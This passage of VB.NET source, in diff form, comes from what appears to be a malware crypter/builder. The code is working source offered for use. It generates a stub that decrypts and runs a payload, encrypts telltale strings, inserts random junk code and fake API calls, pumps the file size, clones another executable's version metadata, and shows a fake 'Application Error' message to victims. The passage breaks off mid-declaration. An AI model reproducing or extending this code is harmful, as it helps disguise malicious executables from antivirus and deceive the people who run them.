"Ev" & _ + Chr(34) & "), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & "))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton10.Checked = True Then + Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(SDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & "))), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & ")))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton17.Checked = True Then + Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & ")))))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton2.Checked = True Then + Binder = "Dim FDC As String = xEncryptionD(R.GetObject(" & Chr(34) & "K" & _ + Chr(34) & "), " & "R.GetObject(" & Chr(34) & "Ev" & Chr(34) & "))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton3.Checked = True Then + Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(D.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & ")))))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton21.Checked = True Then + Binder = "Dim FDC As String = D.Decrypt(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & "))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + ElseIf RadioButton24.Checked = True Then + Binder = "Dim FDC As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & Chr(34) & "Ev" & _ + Chr(34) & "))), " & "R.GetObject(" & Chr(34) & "K" & Chr(34) & ")))" & NewLine & _ + "filled = Split(FDC, " & Chr(34) & "@|C|@" & Chr(34) & ")" + End If + Stub = Stub.Replace("'FilledSplitting", Binder) + End If + If CheckBox62.Checked = True Then + Stub = Stub.Replace("'junkFunction", JunkFunction(NumericUpDown10.Value)) + End If + If CheckBox64.Checked = True Then + Stub = Stub.Replace("'heavyJunk", GenerateJunk(NumericUpDown12.Value)) + End If + Dim FileByte As Byte() = IO.File.ReadAllBytes(TextBox1.Text) + If FileByte(60) = 128 Then + Stub = Stub.Replace("'InvokeSub", My.Resources.Invoke) + Dim DotnetLoader As String + If RadioButton1.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & """K""" & ")), I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(RC4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & _ + """K""" & ")))") + ElseIf RadioButton4.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & _ + ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {III, I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(III)") + ElseIf RadioButton9.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & _ + ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {III, I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(III)") + ElseIf RadioButton10.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & """K""" & ")), I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & _ + """K""" & ")))") + ElseIf RadioButton17.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & ")))), I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & ")))))") + ElseIf RadioButton2.Checked = True Then + DotnetLoader = " LoadMethod(" & """IX""" & ", " & """R""" & _ + ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {III, I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(III)") + ElseIf RadioButton3.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & ")))), I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" _ + & """F""" & ")))))") + ElseIf RadioButton24.Checked = True Then + DotnetLoader = "LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & """K""" & ")), I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject(" & """F""" & "))), R.GetObject(" & _ + """K""" & ")))") + ElseIf RadioButton21.Checked = True Then + DotnetLoader = " LoadMethod(" & """IX""" & ", " & """R""" & ", CC(ReverseString(R.GetObject(" & """X""" & "))), New Object() {C, I})" + Stub = Stub.Replace(DotnetLoader, "RInvoke(C)") + End If + End If + Stub = Stub.Replace("""CSharp""", EncryptString("CSharp")) + Stub = Stub.Replace("""System.dll""", EncryptString("System.dll")) + Stub = Stub.Replace("""System.Management.dll""", EncryptString("System.Management.dll")) + Stub = Stub.Replace("""/platform:x86""", EncryptString("/platform:x86")) + If CheckBox57.Checked = True Then + + Dim SP() As String + + SP = Split(My.Resources.APIs, "|") + + If NumericUpDown9.Value < 2 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + ElseIf NumericUpDown9.Value < 3 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + ElseIf NumericUpDown9.Value < 4 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + ElseIf NumericUpDown9.Value < 5 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + ElseIf NumericUpDown9.Value < 6 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + ElseIf NumericUpDown9.Value < 7 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + Stub = Stub.Replace("'FakeAPI#6", SP(5)) + + ElseIf NumericUpDown9.Value < 8 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + Stub = Stub.Replace("'FakeAPI#6", SP(5)) + + Stub = Stub.Replace("'FakeAPI#7", SP(6)) + + ElseIf NumericUpDown9.Value < 9 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + Stub = Stub.Replace("'FakeAPI#6", SP(5)) + + Stub = Stub.Replace("'FakeAPI#7", SP(6)) + + Stub = Stub.Replace("'FakeAPI#8", SP(7)) + + ElseIf NumericUpDown9.Value < 10 Then + + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + Stub = Stub.Replace("'FakeAPI#6", SP(5)) + + Stub = Stub.Replace("'FakeAPI#7", SP(6)) + + Stub = Stub.Replace("'FakeAPI#8", SP(7)) + + Stub = Stub.Replace("'FakeAPI#9", SP(8)) + + ElseIf NumericUpDown9.Value < 11 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + Stub = Stub.Replace("'FakeAPI#6", SP(5)) + + Stub = Stub.Replace("'FakeAPI#7", SP(6)) + + Stub = Stub.Replace("'FakeAPI#8", SP(7)) + + Stub = Stub.Replace("'FakeAPI#9", SP(8)) + + Stub = Stub.Replace("'FakeAPI#A", SP(9)) + + ElseIf NumericUpDown9.Value < 12 Then + + Stub = Stub.Replace("'FakeAPI#1", SP(0)) + + Stub = Stub.Replace("'FakeAPI#2", SP(1)) + + Stub = Stub.Replace("'FakeAPI#3", SP(2)) + + Stub = Stub.Replace("'FakeAPI#4", SP(3)) + + Stub = Stub.Replace("'FakeAPI#5", SP(4)) + + Stub = Stub.Replace("'FakeAPI#6", SP(5)) + + Stub = Stub.Replace("'FakeAPI#7", SP(6)) + + Stub = Stub.Replace("'FakeAPI#8", SP(7)) + + Stub = Stub.Replace("'FakeAPI#9", SP(8)) + + Stub = Stub.Replace("'FakeAPI#A", SP(9)) + + Stub = Stub.Replace("'FakeAPI#B", SP(10)) + + End If + + End If + + Stub = Stub.Replace("""APPDATA""", EncryptString("APPDATA")) + + 'Dim xx As New IO.StreamWriter(Application.StartupPath & "\1.txt") + 'xx.WriteLine(Stub) + 'xx.Flush() + 'xx.Close() + End Sub + Function GenerateJunk(ByVal ammount As Integer) As String + + If ammount = 0 Then + ammount = 1 + End If + + Dim out As String = "Module " & SS(20) + Dim y As Integer = 0 + + Do Until y = ammount + + Rnd() + Dim a As Integer = n(3, 1) + + Dim e As String = SS(60) + If a = 1 Then + out += vbNewLine & vbNewLine & "Public Function " & SS(124) & "(" & SS(16) & " as string)as string" & vbNewLine + + out += "on error goto " & e & vbNewLine + Else + out += vbNewLine & "Public Sub " & SS(n(50, 8)) & "(" & SS(49) & " as string)" & vbNewLine + End If + + Dim i As Integer = 0 + + Dim limit As Integer = n(30, 10) + + Do Until i = limit + Rnd() + Dim type As Integer = n(5, 0) + + + If type = 1 Then + out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine + i += 1 + ElseIf type = 2 Then + out += "msgbox(" & Chr(34) & SS(n(100, 276)) & Chr(34) & ")" & vbNewLine + i += 1 + ElseIf type = 3 Then + Rnd() + out += "Dim " & SS(56) & " as integer = " & n(999999, 100000) & vbNewLine + i += 1 + Else + out += "dim " & SS(n(10, 60)) & " as integer = " & n(100000, 9999999) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & " + " & n(214124, 1243145) & vbNewLine + End If + + + + Loop + If a = 1 Then + out += e & ":" & vbNewLine + + Dim h As Integer = 0 + Dim hl As Integer = n(10, 3) + Do Until h = hl + + Dim type As Integer = n(4, 0) + + + If type = 1 Then + out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine + i += 1 + ElseIf type > 1 Then + out += "msgbox(" & Chr(34) & SS(n(100, 276)) & Chr(34) & ")" & vbNewLine + i += 1 + out += "If " & n(100000, 9999999) & " > " & n(214124, 1243145) & " then" & vbNewLine + + out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine + out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine + out += "Dim " & SS(26) & " as string = " & Chr(34) & SS(n(35, 76)) & Chr(34) & vbNewLine + out += "End if" & vbNewLine + + Else + Rnd() + out += "Dim " & SS(56) & " as integer = " & n(999999, 100000) & vbNewLine + i += 1 + End If + h += 1 + Loop + + + out += "End Function" & vbNewLine & vbNewLine + + Else + out += "End Sub" & vbNewLine & vbNewLine + End If + y += 1 + Loop + out += "End Module" + + Return out + End Function + + Function SS(ByVal len As String) As String + Dim x As New Password + Return x.GeneratePassword(True, True, False, False, len) + End Function + + Public Function n(ByVal MaxNumber As Integer, _ + Optional ByVal MinNumber As Integer = 0) As Integer + Rnd() + Threading.Thread.Sleep(5) + 'initialize random number generator + Dim r As New Random(System.DateTime.Now.Millisecond) + + 'if passed incorrect arguments, swap them + 'can also throw exception or return 0 + + If MinNumber > MaxNumber Then + Dim t As Integer = MinNumber + MinNumber = MaxNumber + MaxNumber = t + End If + + Return r.Next(MinNumber, MaxNumber) + + End Function + Public Class Password + + Private Const PASS_UPPERS As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + Private Const PASS_LOWERS As String = "abcdefghijklmnopqrstuvwxyz" + Private Const PASS_NUMBERS As String = "0123456789" + Private Const PASS_SPECIALS As String = "~`!@#$%^&*()_+=-{[}]|;:'<,>.?" + + Public Function GeneratePassword(ByVal Uppers As Boolean, ByVal Lowers As Boolean, ByVal Numbers As Boolean, ByVal Specials As Boolean, ByVal passwordLength As Integer) As String + + Dim strCharacters As String + Dim strNewPassword As String + Dim p As Integer + + If Uppers = True Then + strCharacters = strCharacters & PASS_UPPERS + End If + If Lowers = True Then + strCharacters = strCharacters & PASS_LOWERS + End If + If Numbers = True Then + strCharacters = strCharacters & PASS_NUMBERS + End If + If Specials = True Then + strCharacters = strCharacters & PASS_SPECIALS + End If + + Randomize() + + For p = 0 To (passwordLength - 1) + strNewPassword = strNewPassword + Mid(strCharacters, Len(strCharacters) * Rnd() + 1, 1) + Next + + GeneratePassword = strNewPassword + + End Function + + End Class + Function JunkFunction(ByVal countloop As Integer) + + Dim i As Integer = 0 + + Dim path As String = Application.StartupPath & "\Hold" + + Do Until i = countloop + + Dim x As String = Environment.NewLine + + Dim xxx As New Random + + Dim random As String = x & x & "Function " & RandomVar() & x & x & "Dim " & RandomVar() & " As String = " & Chr(34) & _ + RandomVar() & Chr(34) & x & x & "Dim " & RandomVar() & " As Integer = " & xxx.Next(20, 99) & x & x & _ + "End Function" & x & x + + IO.File.AppendAllText(path, random) + + i = i + 1 + + Loop + + Dim s As String = IO.File.ReadAllText(path) + + IO.File.Delete(path) + + Return s + + End Function + + Public Function RandomVar(Optional ByVal Count As Integer = Nothing) As Object + Const LowerCase As String = "abcdefghijklmnopqrstuvwxyz" + Const UpperCase As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + Const Num As String = "_" + Dim totalequivalent As String + Dim i As Short + totalequivalent = LowerCase & UpperCase & Num + If Count = Nothing Then + For i = 1 To CInt("15") + RandomVar = RandomVar & Mid(totalequivalent, Int((Rnd() * Len(totalequivalent)) + 1), 1) + Next i + Else + For i = 1 To CInt(Count) + RandomVar = RandomVar & Mid(totalequivalent, Int((Rnd() * Len(totalequivalent)) + 1), 1) + Next i + End If + Return RandomVar + End Function + Function PumpFile(ByVal xFile As String, ByVal xKilobytes As Integer) As String + Dim z = IO.File.OpenWrite(xFile) + Dim c = z.Seek(0, SeekOrigin.[End]) + Dim b = Convert.ToInt32(xKilobytes) + Dim v As Decimal = b * 1048 + While c < v + c += 1 + z.WriteByte(0) + End While + z.Close() + Return 0 + End Function + Dim xpath As String = Application.StartupPath & "\Q" + Function EncryptString(ByVal Input As String) As String + + Dim str(5) As String + +restart: + + MyGuid = Guid.NewGuid + + str(0) = MyGuid.ToString + + str(1) = Input + + If RadioButton19.Checked = True Then + + str(2) = Encryption_Algorithms.TripleDES(str(1), str(0), True) + + str(3) = Encryption_Algorithms.TripleDESdecrypt(str(2), str(0), True) + + ElseIf RadioButton20.Checked = True Then + + str(2) = Encryption_Algorithms.Rijndael(str(1), str(0)) + + str(3) = Encryption_Algorithms.RijndaelDecrypt(str(2), str(0)) + + ElseIf RadioButton18.Checked = True Then + + str(2) = Encryption_Algorithms.xEncryption(str(0), str(1)) + + str(3) = Encryption_Algorithms.xEncryptionD(str(0), str(2)) + + ElseIf RadioButton25.Checked = True Then + + str(2) = Encryption_Algorithms.PolyCrypt(str(1)) + + str(3) = Encryption_Algorithms.PolyDec(str(2)) + + End If + + If str(3) = str(1) Then + + If RadioButton19.Checked = True Then + + str(4) = "TripleDESDecrypt" & "(" & Chr(34) & str(2) & Chr(34) & ", " & Chr(34) & str(0) & Chr(34) & ", True" & ")" + + ElseIf RadioButton20.Checked = True Then + + str(4) = "RijndaelDecrypt" & "(" & Chr(34) & str(2) & Chr(34) & ", " & Chr(34) & str(0) & Chr(34) & ")" + + ElseIf RadioButton18.Checked = True Then + + str(4) = "xEncryptionD" & "(" & Chr(34) & str(0) & Chr(34) & ", " & Chr(34) & str(2) & Chr(34) & ")" + + ElseIf RadioButton25.Checked = True Then + + str(4) = "PolyDec" & "(" & Chr(34) & str(2) & Chr(34) & ")" + + End If + + Else + + GoTo restart + + End If + + Return str(4) + + End Function + Dim _P As New Point, _X, _Y As Integer + Private Sub MD1() Handles PictureBox1.MouseDown + _X = MousePosition.X - Location.X : _Y = MousePosition.Y - Location.Y + End Sub + Private Sub MM1(ByVal S, ByVal E) Handles PictureBox1.MouseMove + If E.Button = 1048576 Then : _P = MousePosition : _P.X -= _X : _P.Y -= _Y : Location = _P : End If + End Sub + Public Shared Function ReverseString(ByVal s As String) As String + Dim arr As Char() = s.ToCharArray() + Array.Reverse(arr) + Return New String(arr) + End Function + Sub Compile(ByVal Code As String, ByVal Path As String, ByVal FormProgram As Boolean, ByVal MainClass As String, _ + ByVal CSharp As Boolean, Optional ByVal Resource As String = Nothing, Optional ByVal _ + Icon As String = Nothing) + Dim CodeProvider As Object + If CSharp Then + CodeProvider = New Microsoft.CSharp.CSharpCodeProvider + Else + CodeProvider = New Microsoft.VisualBasic.VBCodeProvider + End If + Dim Parameters As New CodeDom.Compiler.CompilerParameters + With Parameters + If Not Resource = Nothing Then + .EmbeddedResources.Add(Resource) + End If + .GenerateExecutable = True + .OutputAssembly = Path + If FormProgram Then .CompilerOptions += "/target:winexe /platform:x86 /removeintchecks+" + If Not Icon = Nothing Then + .CompilerOptions += " /win32icon:" & tempicon + End If + .MainClass = MainClass + .IncludeDebugInformation = False + For Each ASM In AppDomain.CurrentDomain.GetAssemblies + .ReferencedAssemblies.Add(ASM.Location) + Next + End With + Dim Results = CodeProvider.CompileAssemblyFromSource(Parameters, Code) + If Results.Errors.Count > 0 Then + For Each E In Results.Errors + MsgBox(E.ErrorText) + Next + End If + If IO.File.Exists(tempicon) Then + IO.File.Delete(tempicon) + End If + End Sub + + Private Sub MButton6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton6.Click + oo.DefaultExt = "" + oo.Filter = "Portable Executable Files (*.Exe)|*.Exe" + oo.FilterIndex = 1 + oo.FileName = "" + If oo.ShowDialog(Me) = 1 Then + TextBox3.Text = oo.FileName + End If + End Sub + + Private Sub MButton10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton10.Click + Application.Exit() + End Sub + + Private Sub CheckBox26_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox26.CheckedChanged + If CheckBox26.Checked = True Then + + CheckBox2.Checked = True + + CheckBox3.Checked = True + + CheckBox4.Checked = True + + CheckBox5.Checked = True + + CheckBox6.Checked = True + + CheckBox7.Checked = True + + CheckBox8.Checked = True + + CheckBox9.Checked = True + + CheckBox10.Checked = True + + CheckBox11.Checked = True + + CheckBox12.Checked = True + + CheckBox13.Checked = True + + CheckBox14.Checked = True + + CheckBox15.Checked = True + + CheckBox16.Checked = True + + CheckBox17.Checked = True + + CheckBox18.Checked = True + + CheckBox19.Checked = True + + CheckBox20.Checked = True + + CheckBox21.Checked = True + + CheckBox22.Checked = True + + CheckBox23.Checked = True + + CheckBox24.Checked = True + + CheckBox25.Checked = True + + Else + + CheckBox2.Checked = False + + CheckBox3.Checked = False + + CheckBox4.Checked = False + + CheckBox5.Checked = False + + CheckBox6.Checked = False + + CheckBox7.Checked = False + + CheckBox8.Checked = False + + CheckBox9.Checked = False + + CheckBox10.Checked = False + + CheckBox11.Checked = False + + CheckBox12.Checked = False + + CheckBox13.Checked = False + + CheckBox14.Checked = False + + CheckBox15.Checked = False + + CheckBox16.Checked = False + + CheckBox17.Checked = False + + CheckBox18.Checked = False + + CheckBox19.Checked = False + + CheckBox20.Checked = False + + CheckBox21.Checked = False + + CheckBox22.Checked = False + + CheckBox23.Checked = False + + CheckBox24.Checked = False + + CheckBox25.Checked = False + + End If + + End Sub + Dim o2 As New OpenFileDialog + Private Sub MButton7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton7.Click + o2.DefaultExt = "" + + o2.Filter = "Portable Executable Files (*.Exe)|*.Exe" + + o2.FilterIndex = 1 + + o2.FileName = "" + + If o2.ShowDialog(Me) = 1 Then + + TextBox17.Text = o2.FileName + + Try + + LoadAttributes(Assembly.LoadFile(TextBox17.Text)) + + Catch ex As Exception + + MessageBox.Show("Assembly Loader only works for .NET Files", "Unsuccessful", MessageBoxButtons.OK, MessageBoxIcon.Information) + + End Try + + End If + End Sub + Sub LoadAttributes(ByVal assembly As Assembly) + + Dim P = New Properties(assembly) + + TextBox5.Text = P.Description + + TextBox6.Text = P.Company + + TextBox7.Text = P.Copyright + + NumericUpDown1.Value = P.FileVersion.Major + + NumericUpDown2.Value = P.FileVersion.Minor + + NumericUpDown3.Value = P.FileVersion.Build + + NumericUpDown4.Value = P.FileVersion.Revision + + End Sub + + Structure Properties + + Dim Title, Description, Company, Product, Copyright, Trademark As String, Version, FileVersion As Version + + Private H As Assembly + + Sub New(ByVal assembly As Assembly) + + H = assembly + + Title = Search(Of AssemblyTitleAttribute)().Title + + Description = Search(Of AssemblyDescriptionAttribute)().Description + + Company = Search(Of AssemblyCompanyAttribute)().Company + + Product = Search(Of AssemblyProductAttribute)().Product + + Copyright = Search(Of AssemblyCopyrightAttribute)().Copyright + + Trademark = Search(Of AssemblyTrademarkAttribute)().Trademark + + Version = New Version(assembly.GetName.Version.ToString) + + Dim T = Search(Of AssemblyFileVersionAttribute)() + + FileVersion = New Version(If(T Is Nothing, "0.0.0.0", T.Version)) + + End Sub + + Private Function Search(Of T)() As T + + Try + + Return H.GetCustomAttributes(GetType(T), 0)(0) + + Catch : End Try + + End Function + + + Public Overrides Function ToString() As String + + Dim S As New System.Text.StringBuilder, B = "" + + If Title <> "" Then S.AppendLine(B & "Title(""" & Title & E) + + If Description <> "" Then S.AppendLine(B & "Description(""" & Description & E) + + If Company <> "" Then S.AppendLine(B & "Company(""" & Company & E) + + If Product <> "" Then S.AppendLine(B & "Product(""" & Product & E) + + If Copyright <> "" Then S.AppendLine(B & "Copyright(""" & Copyright & E) + + If Trademark <> "" Then S.AppendLine(B & "Trademark(""" & Trademark & E) + + If Version.ToString <> "0.0.0.0" Then S.AppendLine(B & "Version(""" & Version.ToString & E) + + If FileVersion.ToString <> "0.0.0.0" Then S.AppendLine(B & "FileVersion(""" & FileVersion.ToString & E) + + Return S.ToString + + End Function + + End Structure + + Private Sub MButton11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton11.Click + TextBox5.Clear() + + TextBox6.Clear() + + TextBox7.Clear() + + NumericUpDown1.Value = 1 + + NumericUpDown2.Value = 0 + + NumericUpDown3.Value = 0 + + NumericUpDown4.Value = 0 + End Sub + + Private Sub CheckBox28_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox28.CheckedChanged + If CheckBox28.Checked = True Then + + GroupBox2.Enabled = True + + RadioButton11.Checked = True + + Else + + GroupBox2.Enabled = False + + RadioButton11.Checked = False + + End If + + End Sub + + Private Sub CheckBox68_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox68.CheckedChanged + If CheckBox68.Checked = True Then + + NumericUpDown6.Enabled = True + + RadioButton15.Enabled = True + + RadioButton15.Checked = True + + RadioButton16.Enabled = True + + Else + + NumericUpDown6.Enabled = False + + NumericUpDown7.Enabled = False + + RadioButton15.Enabled = False + + RadioButton15.Checked = False + + RadioButton16.Enabled = False + + RadioButton16.Checked = False + + End If + End Sub + + Private Sub MButton8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton8.Click + If RadioButton26.Checked = True Then + + If RadioButton43.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OK, MessageBoxIcon.Error) + + ElseIf RadioButton45.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.YesNo, MessageBoxIcon.Error) + + ElseIf RadioButton46.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OKCancel, MessageBoxIcon.Error) + + ElseIf RadioButton47.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.RetryCancel, MessageBoxIcon.Error) + + End If + + ElseIf RadioButton28.Checked = True Then + + If RadioButton43.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OK, MessageBoxIcon.Information) + + ElseIf RadioButton45.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.YesNo, MessageBoxIcon.Information) + + ElseIf RadioButton46.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.OKCancel, MessageBoxIcon.Information) + + ElseIf RadioButton47.Checked Then + + MessageBox.Show(TextBox19.Text, TextBox9.Text, MessageBoxButtons.RetryCancel, MessageBoxIcon.Information) + + End If + + End If + End Sub + + Private Sub CheckBox29_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox29.CheckedChanged + If CheckBox29.Checked = True Then + TextBox19.Text = "The application failed to initialize properly (0xc000007b). Click on OK to terminate the application." + TextBox9.Text = "Application Error" + Else + TextBox19.Text = "" + TextBox9.Text = "" + End If + End Sub + Function AssemblyChange() + + Return "" & Environment.NewLine & _ + "" & Environment.NewLine & _ + "" & Environment.NewLine & "" + + End Function + + Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + RadioButton15.Enabled = False + + RadioButton16.Enabled = False + + NumericUpDown6.Enabled = False + + NumericUpDown7.Enabled = False + + GroupBox2.Enabled = False + + TabControl1.TabPages(1).Enabled = False + + TabControl1.TabPages(2).Enabled = False + + TabControl1.TabPages(3).Enabled = False + + TabControl1.TabPages(4).Enabled = False + + TabControl1.TabPages(5).Enabled = False + + TabControl1.TabPages(6).Enabled = False + + End Sub + + Private Sub CheckBox71_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox71.CheckedChanged + If CheckBox71.Checked = True Then + + TabControl1.TabPages(1).Enabled = True + + CheckBox2.Checked = True + + CheckBox3.Checked = True + + CheckBox4.Checked = True + + CheckBox5.Checked = True + + CheckBox6.Checked = True + + CheckBox7.Checked = True + + CheckBox8.Checked = True + + CheckBox9.Checked = True + + CheckBox10.Checked = True + + CheckBox11.Checked = True + + CheckBox12.Checked = True + + CheckBox13.Checked = True + + CheckBox14.Checked = True + + CheckBox15.Checked = True + + CheckBox16.Checked = True + + CheckBox17.Checked = True + + CheckBox18.Checked = True + + CheckBox19.Checked = True + + CheckBox20.Checked = True + + CheckBox21.Checked = True + + CheckBox22.Checked = True + + CheckBox23.Checked = True + + CheckBox24.Checked = True + + CheckBox25.Checked = True + + Else + + TabControl1.TabPages(1).Enabled = False + + CheckBox2.Checked = False + + CheckBox3.Checked = False + + CheckBox4.Checked = False + + CheckBox5.Checked = False + + CheckBox6.Checked = False + + CheckBox7.Checked = False + + CheckBox8.Checked = False + + CheckBox9.Checked = False + + CheckBox10.Checked = False + + CheckBox11.Checked = False + + CheckBox12.Checked = False + + CheckBox13.Checked = False + + CheckBox14.Checked = False + + CheckBox15.Checked = False + + CheckBox16.Checked = False + + CheckBox17.Checked = False + + CheckBox18.Checked = False + + CheckBox19.Checked = False + + CheckBox20.Checked = False + + CheckBox21.Checked = False + + CheckBox22.Checked = False + + CheckBox23.Checked = False + + CheckBox24.Checked = False + + CheckBox25.Checked = False + + End If + End Sub + + Private Sub 